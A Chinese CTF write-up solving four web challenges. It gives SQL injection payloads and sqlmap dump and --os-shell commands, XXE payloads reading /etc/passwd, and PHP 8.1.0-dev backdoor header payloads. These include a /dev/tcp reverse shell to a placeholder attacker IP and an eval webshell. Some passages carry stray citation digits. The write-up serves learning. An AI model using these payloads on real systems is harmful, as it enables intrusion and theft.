QSNCTF-WEB做题记录
第一题,文章管理系统
来自 <天狩CTF竞赛平台>
描述:这是我们的文章管理系统,快来看看有什么漏洞可以拿到FLAG吧?注意:可能有个假FLAG哦
1,首先观察题目网站的结构和特征

这个一个文件管理系统,页面的切换依赖于?id=1这种参数变换。

并且其对于错误的参数有敏感的识别报错,这极大说明了可能具有SQL注入漏洞
2,尝试进行手工SQL注入,首先判断注入类型是整数型还是字符型。输入?id=1' --+ 和?id=1" --+都发生报错,而?id=1 --+ 不报错,说明是整数型注入

3,判断该数据表的字段数,使用order by大法。
?id=1 order by 1,2,3 --+ 判断字段数是否至少有三列。否

?id=1 order by 1,2 --+ 判断字段数是否至少有两列。真

那么就可以知道2<=字段数(int)<3,那么字段就只有两列
4,接下来通过union判断回显点,?id=-1 union select 1,2 --+

正好回显了1,2说明回显点就在我们查询的第一二列上
5,开始进行爆库操作,首先知道数据库名与版本
?id=-1 union select version(),database()--+

6,知道了数据库名:word,再使用group_concat()函数爆出word数据库所有数据表名:
?id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+

7,知道了数据表名:word,再使用group_concat()函数articles数据表所有字段名:
?id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name="articles" and table_schema=database()--+

8,知道了列名然后再输出打印其中的数据
?id=-1 union select group_concat(title),group_concat(word) from articles--+

由此成功得到flag:qsnctf{sql+so+easy!!!!} (虽然是假的)
9,逃课打法,payload:?id=1 or 1=1 --+

一样能够出现flag,其根本原因应该和注入点位置有关
原因分析:
构造永真条件
- OR 1=1:1=1恒为真,导致WHERE条件变为id=1 OR true。无论id=1是否存在,整个条件总为真,查询返回所有数据。
SELECT * FROM files WHERE id = 1 OR 1=1 -- (原查询后续内容被注释)
此查询返回files表的所有记录,导致数据泄露。
10,根据题目提示,正确的做法应该使用sqlmap爆出数据库,然后使用--os-shell模块构造出可交互式的shell
爆出所有数据库 sqlmap -u "http://challenge.qsnctf.com:32209/?id=1" -dbs --batch

爆出数据表 sqlmap -u "http://challenge.qsnctf.com:32209/?id=1" -D word --tables --batch

爆出所有字段

最后爆出所有数据 sqlmap -u "http://challenge.qsnctf.com:30887/?id=1" -D word -T articles -C id,title,word --dump --batch

11,已经知道了爆库是行不通的,再使用--os-shell获取靶机shell
sqlmap -u "http://challenge.qsnctf.com:30887/?id=1" --os-shell

这里支持的语言选择第四个默认的PHP,然后就获得了shell

再通过find命令查找flag find / -name "flag"

最后成功读取得到flag{0428ba0e77344c8aaff21cecb2fbf21f}

第二题:PHP的XXE
题目描述:
XXE(XML External Entity)是一种针对XML解析器的攻击技术,也被称为XML外部实体注入攻击。当应用程序解析用户提供的XML输入时,如果没有正确地配置或过滤外部实体,攻击者可以利用这一漏洞执行恶意操作。
XML允许在文档中定义和使用外部实体,这些实体可以从外部资源(如文件、网络URL等)中获取数据。如果应用程序解析了包含恶意外部实体的XML输入,并且未对外部实体进行适当的处理或限制,攻击者可能会读取敏感文件、执行远程代码或进行其他恶意活动
1,一打开网站就是phpinfo()的界面

2,XXE漏洞利用一般使用burpsuite抓请求包,然后在请求包里面构造攻击语句。访问http://challenge.qsnctf.com:32365/simplexml_load_string.php

右键将请求包发送到repeater重放器,然后右键更改请求包的方式为POST,Content-Type更改为xml,然后将构造的payload写入
| <?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE xxe [ <!ELEMENT test ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <test> <name> &xxe; </name>
</test> |

3,接下来就是命令执行的攻击了,不断通过XXE漏洞对靶机进行信息收集
| <?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE xxe [ <!ELEMENT test ANY > <!ENTITY xxe SYSTEM "file:///flag"> ]> <test> <name> &xxe; </name>
</test> |

最终得到flag{ea5f420ee48b483a95cf96e269c22271}
第三题:PHP的后门
题目描述:PHP竟然也会有后门这种东西?你知道吗!
1,首先观察题目

那么就需要获取该网站后端语言PHP的版本
2,通过wappalyzer获取到PHP的版本为8.1

3,接下来就是查这个版本的PHP有什么公开的漏洞及其exp。分析发现可以公开利用的漏洞是:
PHP-8.1.0-dev 后门命令执行漏洞
PHP 8.1.0-dev 后门命令执行漏洞是2021年3月被发现的一个高危漏洞,因开发版本中被植入后门代码而引发。攻击者可利用该漏洞通过构造特定的HTTP请求头执行任意命令,甚至接管服务器。以下是该漏洞的综合分析:
1. 漏洞概述
- 背景
PHP 8.1.0-dev 版本在2021年3月28日被植入后门代码,后门以User-Agentt(多一个字母t)为触发点,允许攻击者通过该请求头字段注入任意PHP代码并执行379。该后门虽在短时间内被官方移除,但已暴露的服务器仍可能受影响。 - 原理
后门代码在服务器端解析HTTP请求时,会检查User-Agentt字段是否以字符串zerodium开头。若符合条件,后续内容会被直接作为PHP代码执行,从而实现远程命令注入368。
2. 影响范围
- 受影响的版本
仅限 PHP 8.1.0-dev 开发版本6710。 - 危害
攻击者可执行任意系统命令,如读取敏感文件(/etc/passwd)、写入Webshell、反弹Shell等,直接威胁服务器安全589。
3. 漏洞复现
环境搭建
使用Vulhub提供的Docker环境快速复现:
cd vulhub/php/8.1-backdoor
docker-compose up -d
访问 http://目标IP:8080,若显示“Hello World”则表示环境启动成功4610。
攻击示例
通过Burp Suite或Python脚本发送以下HTTP请求包:
| GET / HTTP/1.1 |
- 验证漏洞存在
User-Agentt: zerodiumvar_dump(2*3);
若返回计算结果,则漏洞存在37。 - 执行系统命令
User-Agentt: zerodiumsystem("cat /flag");
读取文件内容58。 - 反弹Shell
User-Agentt: zerodiumsystem("bash -c 'exec bash -i >& /dev/tcp/攻击者IP/端口 0>&1'");
通过监听端口获取交互式Shell69。
4. 攻击利用扩展
- 写入Webshell
| User-Agentt: zerodiumfile_put_contents('shell.php','<?php eval($_POST["cmd"]);?>'); |
- 生成一句话木马并通过蚁剑等工具连接68。
- 自动化EXP
使用Python脚本批量检测与利用,例如通过requests库动态注入命令912。
5. 修复建议
- 升级PHP版本
立即停止使用PHP 8.1.0-dev开发版,升级至官方稳定版本。 - 补丁与监控
检查服务器是否曾部署受影响版本,并监控异常流量(如包含User-Agentt的请求)710。 - 容器环境管理
使用Vulhub等漏洞复现环境后,及时关闭容器:
| docker-compose down |
总结
该漏洞因开发版本中隐蔽的后门代码引发,攻击成本低但危害极大。尽管官方已修复,仍需警惕未升级的测试环境或遗留系统。防御关键在于严格管控开发版本的使用,并加强HTTP请求头的过滤机制7912。
4,那么接下来就使用burpsuite抓请求包,右键将请求包发送到repeater模块,然后写入攻击语句:
User-Agentt:zerodiumsystem("ls /");

5,最后再构造语句读取flag
User-Agentt:zerodiumsystem("cat /flag");

最后得到了flag{aca66b51096c4713b36a92e0d7147949}
第四题:EasyMD5
来自 <天狩CTF竞赛平台>
题目描述:php没有难题
MD5碰撞
MD5碰撞是指两个不同的输入数据经过MD5哈希算法处理后,生成相同的哈希值。这种现象违背了哈希函数“唯一性”的设计原则,意味着攻击者可以故意构造出内容不同但MD5值相同的文件,从而破坏依赖MD5进行数据完整性校验或身份验证的系统。
MD5碰撞的关键点
- MD5算法简介:
- MD5(Message-Digest Algorithm 5)是一种广泛使用的哈希函数,生成128位(16字节)的哈希值,通常表示为32位十六进制字符串。
- 设计初衷是为文件、密码等数据生成唯一“指纹”,用于快速校验数据完整性。
- 碰撞原理:
- 由于MD5的输出长度固定(128位),理论上存在有限的哈希组合(2¹²⁸种),而输入数据无限,因此哈希碰撞必然存在(鸽巢原理)。
- MD5的设计缺陷(如抗碰撞性不足)使得实际构造碰撞成为可能,且成本远低于理论预期。
- 实际攻击案例:
- 2004年:王小云团队首次公开高效MD5碰撞方法,可在数小时内找到碰撞。
- 2008年:研究人员构造出可执行文件的碰撞,例如两个功能不同但MD5相同的程序。
- 2012年:“火焰”病毒利用MD5碰撞伪造微软数字签名,绕过安全检测。
- 选择前缀碰撞攻击:攻击者可自由选择部分输入内容生成碰撞(如TLS证书伪造)。
MD5碰撞的安全风险
- 数据完整性失效:
- 攻击者可替换文件(如软件安装包、合同文档)而不改变其MD5校验值,导致用户无法察觉篡改。
- 数字签名伪造:
- 若签名系统依赖MD5,攻击者可伪造签名证书(如HTTPS中间人攻击)。
- 密码存储漏洞:
- 若数据库用MD5存储密码,碰撞可能导致不同密码被误认为相同,但更常见风险是MD5的快速破解(如彩虹表)。
防御措施
- 弃用MD5:在关键场景(如数字签名、密码存储)改用更安全的算法:
- SHA-2家族(SHA-256、SHA-512)
- SHA-3(Keccak)
- BLAKE2/3
- 加盐(Salting):若必须使用MD5,需结合随机盐值(如密码存储),但建议优先升级算法。
- 多重哈希:对敏感数据叠加多种哈希算法(如SHA-256 + BLAKE3),但需权衡性能。
1,观察题目环境,要求就是生成两个md5值相同的PDF文件就行了,使用工具fastcoll

fastcoll 是一款高效的 MD5 碰撞生成工具,由荷兰埃因霍温理工大学的研究团队开发,能够快速生成两个内容不同但 MD5 哈希值相同的文件。其原理基于王小云团队提出的改进版碰撞算法,可在普通计算机上几秒内完成碰撞生成2710。
基础使用方法
1. 生成碰撞文件
- 命令格式:
fastcoll_v1.0.0.5.exe -p <基础文件路径> -o <输出文件1> <输出文件2>- -p:指定基础文件(作为碰撞前缀)。
- -o:生成的两个碰撞文件路径4710。
- 示例:
fastcoll_v1.0.0.5.exe -p C:\test.txt -o collision1.txt collision2.txt
生成的两个文件 collision1.txt 和 collision2.txt 内容不同但 MD5 相同39。
2. 验证碰撞结果
- 使用系统工具(如 certutil)校验哈希值:
certutil -hashfile collision1.txt MD5
certutil -hashfile collision2.txt MD5
结果会显示相同的 MD5 值,但文件内容可通过二进制编辑器(如 HxD)查看差异47。
进阶应用
1. 生成可执行文件的碰撞
- 示例:
bash
复制
fastcoll_v1.0.0.5.exe -p helloworld.exe -o helloworld1.exe helloworld2.exe
生成的两个 EXE 文件功能不同(如一个打印 "Hello World",另一个打印 "Goodbye World"),但 MD5 值一致710。
2. 生成字符串的 MD5 碰撞
- 步骤:
- 创建基础文本文件(如 a.txt),内容可为空或特定前缀。
- 运行 fastcoll 生成两个碰撞文件(如 msg1.txt 和 msg2.txt)。
- 通过 PHP/Python 脚本读取文件内容并进行 URL 编码,生成不同字符串但相同 MD5 的结果9。
工具下载与源码
- 下载地址:
- 可执行工具: http://www.win.tue.nl/hashclash/fastcoll_v1.0.0.5.exe.zip
- 源代码: http://www.win.tue.nl/hashclash/fastcoll_v1.0.0.5_source.zip 237。
注意事项
- 安全风险:
- MD5 碰撞可能被用于伪造文件、绕过校验或攻击依赖哈希的系统(如数字签名)210。
- 建议仅在实验环境(如虚拟机)中使用,避免非法用途4。
- 替代算法:
- 在正式场景中,应弃用 MD5,改用 SHA-256、SHA-3 或 BLAKE2/3 等抗碰撞性更强的哈希算法710。
典型场景示例
- CTF 题目:解决类似 $a != $b && md5($a) == md5($b) 的挑战,通过 fastcoll 生成碰撞字符串提交9。
- 文件篡改测试:验证系统对 MD5 校验的依赖漏洞,例如上传两个功能不同但哈希相同的文件710
解题非常简单,直接命令生成两个MD5值相同的文件
fastcoll_v1.0.0.5.exe -p 1.pdf -o 2.pdf 3.pdf

flag{51b103224afc43dc9d8bc448f0a0b0e8}
相关文章:
QSNCTF-WEB做题记录
第一题,文章管理系统 来自 <天狩CTF竞赛平台> 描述:这是我们的文章管理系统,快来看看有什么漏洞可以拿到FLAG吧?注意:可能有个假FLAG哦 1,首先观察题目网站的结构和特征 这个一个文件管理系统&#x…...
UE引擎游戏加固方案解析
据VGinsights的报告,近年来UE引擎在过去几年中市场占比显著增长,其中亚洲市场增幅达到了30%,随着UE5的推出和技术的不断进步,UE引擎在独立开发者和移动游戏开发中的应用也在逐步增加。 UE引擎的优势在于强大的画面表现与视觉特效…...
统计函数运行时间的python脚本
这是一个统计函数运行时间的实用脚本,其中用到了函数的嵌套、链式传输参数,以及修饰器。 import time# 定义一个装饰器timer,用于计算被装饰函数的运行时间 def timer(func):print("执行了timer")def wrapper(*args, **kwargs):st…...
大模型WebUI:Gradio全解11——使用transformers.agents构建Gradio UI(3)
大模型WebUI:Gradio全解11——使用transformers.agents构建Gradio UI(3) 前言本篇摘要11. 使用transformers.agents构建Gradio UI11.3 创建和使用工具Tools11.3.1 默认工具箱与load_tool11.3.2 创建新工具11.3.3 管理代理的工具箱toolbox11.3…...
spring boot知识点5
1.如何你有俩套配置环境,运行时如何选择 如果有俩套配置环境,则需要三个yml application.yml 用于配置你用那个配置环境 application-dev.yml 用于开发配置环境 application-prod.yml 用于发布配置环境 spring:profiles:active: prod # 指定当前激…...
【C++】面向对象的三大特性
面向对象编程三大核心特性:封装、继承和多态。 1. 封装 封装指的是将数据和操作这些数据的方法绑定在一起,形成一个对象,并且隐藏对象的内部实现细节,只暴露必要的接口。封装的目的是保护数据,确保外部代码不能直接访…...
Docker构建时,设定默认进入的工作目录的方法
在 Docker 中,你可以通过不同的方式来设定容器默认进入的目录,以下针对不同场景分别介绍具体方法: 1. 使用 Dockerfile 设定工作目录 如果你是通过构建镜像的方式来运行容器,那么可以在 Dockerfile 中使用 WORKDIR 指令来设置容器启动时的默认工作目录。以下是具体步骤:…...
DeepSeek等大模型功能集成到WPS中的详细步骤
记录下将**DeepSeek功能集成到WPS中**的步骤,以备忘。 1. 下载并安装OfficeAI插件 访问OfficeAI插件下载地址:https://www.office-ai.cn/,下载插件(目前只支持windows系统)。 注意,有两个插件࿰…...
教学资料档案管理系统
本系统构建 JAVA 体系的后端系统,围绕以安全,可靠,高速,健壮,易于扩展为目标的方向进行开发,在阿里等开源库的基础上实现提供教学资料档案的管理系统的后端接口的微服务架构系统。 功能包含:系…...
linux core分析---TLS读取异常
文章目录 TLS概念core 线程调用栈查看堆栈: bt查看所有线程堆栈:core分析:锁分析代码修改:thread8 f 4 (第四层堆栈) jcallback.c:186**thread10 f4 SynStack.cpp:1175tl_send_message 加锁修改tls_table1 socket_tab加锁保护2 增加tls_table 中buse的使用3 tls_tl_read_mes…...
SpringBoot 排除一些包的注入
文章目录 需求一、使用 ComponentScan 需求 在系统迭代的过程中,有一些 Controller 大批量的不再使用,或者有一些接口我们不想再提供给外界 一、使用 ComponentScan SpringBootApplication(scanBasePackages "com.zrb.excludeSomePkg") Comp…...
PHP Composer:高效项目依赖管理工具详解
PHP Composer:高效项目依赖管理工具详解 引言 随着Web开发领域的不断扩展,项目的复杂性也在逐渐增加。为了提高开发效率,减少重复劳动,依赖管理工具应运而生。其中,PHP的Composer成为了开发者们的首选。本文将详细介绍PHP Composer的功能、使用方法以及在实际开发中的应…...
第四届图像、信号处理与模式识别国际学术会议(ISPP 2025)
重要信息 大会官网:www.icispp.com 大会时间:2025年3月28日-30日 大会地点:南京 简介 由河海大学和江苏大学联合主办的第四届图像、信号处理与模式识别(ISPP 2025) 将于2025年3月28日-30日在中国南京举行。主要围绕图像信号处…...
【设计模式精讲】创建型模式之工厂方法模式(简单工厂、工厂方法)
文章目录 第四章 创建型模式4.2 工厂方法模式4.2.1 需求: 模拟发放奖品业务4.2.2 原始开发方式4.2.3 简单工厂模式4.2.3.1 简单工厂模式介绍4.2.3.2 简单工厂原理4.2.3.3 简单工厂模式重构代码4.2.3.4 简单工厂模式总结 4.2.4 工厂方法模式4.2.4.1 工厂方法模式介绍4.2.4.2 工厂…...
python:多重继承、MRO(方法解析顺序)
在 Python 中,当类存在多重继承时,方法的调用顺序由 方法解析顺序(Method Resolution Order, MRO) 决定。 Python 使用 C3线性化算法 来确定类的继承顺序(MRO),其核心规则是: 子类优…...
Oracle RAC数据库单节点轮流重启
0、sqlplus / as sysdba 备份参数文件 create pfile/home/oracle/pfile.ora from spfile; 备份控制文件 Alter database backup controlfile to trace; 1、关闭两节点的监听; 2、操作系统层面kill掉所有LOCALNO的所有进程,即:连接会话。 p…...
电脑想安装 Windows 11 需要开启 TPM 2.0 怎么办?
尽管 TPM 2.0 已经内置在许多新电脑中,但很多人并不知道如何激活这一功能,甚至完全忽略了它的存在。其实,只需简单的几步操作,你就能开启这项强大的安全特性,为你的数字生活增添一层坚固的防护屏障。无论你是普通用户还…...
Vue 3 中如何注册全局自定义组件:一个 SVG 图标的例子
Vue 3 中如何注册全局自定义组件:一个 SVG 图标的例子 嘿,小伙伴们!今天我们来聊一下在 Vue 3 中如何注册一个全局的自定义组件。我知道有时候我们想要重复使用某些组件,比如说 SVG 图标,但不想在每个地方都重新定义。…...
SpringBoot+Vue3-学习笔记
1、SpringBoot特性 ①起步依赖,所有需要的依赖全部配置在一起 ②自动配置:遵循约定大约配置的原则,在boot程序启动后,一些bean对象会自动注入到ioc容器,不需要手动声明,简化开发 ③内嵌的Tomcat、Jetty(无…...
银河麒麟系统安装mysql5.7【亲测可行】
一、安装环境 cpu:I5-10代; 主板:华硕; OS:银河麒麟V10(SP1)未激活 架构:Linux 5.10.0-9-generic x86_64 GNU/Linux mysql版本:mysql-5.7.34-linux-glibc2.12-x86_64.ta…...
铭豹扩展坞 USB转网口 突然无法识别解决方法
当 USB 转网口扩展坞在一台笔记本上无法识别,但在其他电脑上正常工作时,问题通常出在笔记本自身或其与扩展坞的兼容性上。以下是系统化的定位思路和排查步骤,帮助你快速找到故障原因: 背景: 一个M-pard(铭豹)扩展坞的网卡突然无法识别了,扩展出来的三个USB接口正常。…...
docker详细操作--未完待续
docker介绍 docker官网: Docker:加速容器应用程序开发 harbor官网:Harbor - Harbor 中文 使用docker加速器: Docker镜像极速下载服务 - 毫秒镜像 是什么 Docker 是一种开源的容器化平台,用于将应用程序及其依赖项(如库、运行时环…...
VB.net复制Ntag213卡写入UID
本示例使用的发卡器:https://item.taobao.com/item.htm?ftt&id615391857885 一、读取旧Ntag卡的UID和数据 Private Sub Button15_Click(sender As Object, e As EventArgs) Handles Button15.Click轻松读卡技术支持:网站:Dim i, j As IntegerDim cardidhex, …...
STM32F4基本定时器使用和原理详解
STM32F4基本定时器使用和原理详解 前言如何确定定时器挂载在哪条时钟线上配置及使用方法参数配置PrescalerCounter ModeCounter Periodauto-reload preloadTrigger Event Selection 中断配置生成的代码及使用方法初始化代码基本定时器触发DCA或者ADC的代码讲解中断代码定时启动…...
STM32标准库-DMA直接存储器存取
文章目录 一、DMA1.1简介1.2存储器映像1.3DMA框图1.4DMA基本结构1.5DMA请求1.6数据宽度与对齐1.7数据转运DMA1.8ADC扫描模式DMA 二、数据转运DMA2.1接线图2.2代码2.3相关API 一、DMA 1.1简介 DMA(Direct Memory Access)直接存储器存取 DMA可以提供外设…...
家政维修平台实战20:权限设计
目录 1 获取工人信息2 搭建工人入口3 权限判断总结 目前我们已经搭建好了基础的用户体系,主要是分成几个表,用户表我们是记录用户的基础信息,包括手机、昵称、头像。而工人和员工各有各的表。那么就有一个问题,不同的角色…...
基于SpringBoot在线拍卖系统的设计和实现
摘 要 随着社会的发展,社会的各行各业都在利用信息化时代的优势。计算机的优势和普及使得各种信息系统的开发成为必需。 在线拍卖系统,主要的模块包括管理员;首页、个人中心、用户管理、商品类型管理、拍卖商品管理、历史竞拍管理、竞拍订单…...
Linux 中如何提取压缩文件 ?
Linux 是一种流行的开源操作系统,它提供了许多工具来管理、压缩和解压缩文件。压缩文件有助于节省存储空间,使数据传输更快。本指南将向您展示如何在 Linux 中提取不同类型的压缩文件。 1. Unpacking ZIP Files ZIP 文件是非常常见的,要在 …...
CRMEB 中 PHP 短信扩展开发:涵盖一号通、阿里云、腾讯云、创蓝
目前已有一号通短信、阿里云短信、腾讯云短信扩展 扩展入口文件 文件目录 crmeb\services\sms\Sms.php 默认驱动类型为:一号通 namespace crmeb\services\sms;use crmeb\basic\BaseManager; use crmeb\services\AccessTokenServeService; use crmeb\services\sms\…...
[大语言模型]在个人电脑上部署ollama 并进行管理,最后配置AI程序开发助手.
ollama官网: 下载 https://ollama.com/ 安装 查看可以使用的模型 https://ollama.com/search 例如 https://ollama.com/library/deepseek-r1/tags # deepseek-r1:7bollama pull deepseek-r1:7b改token数量为409622 16384 ollama命令说明 ollama serve #:…...
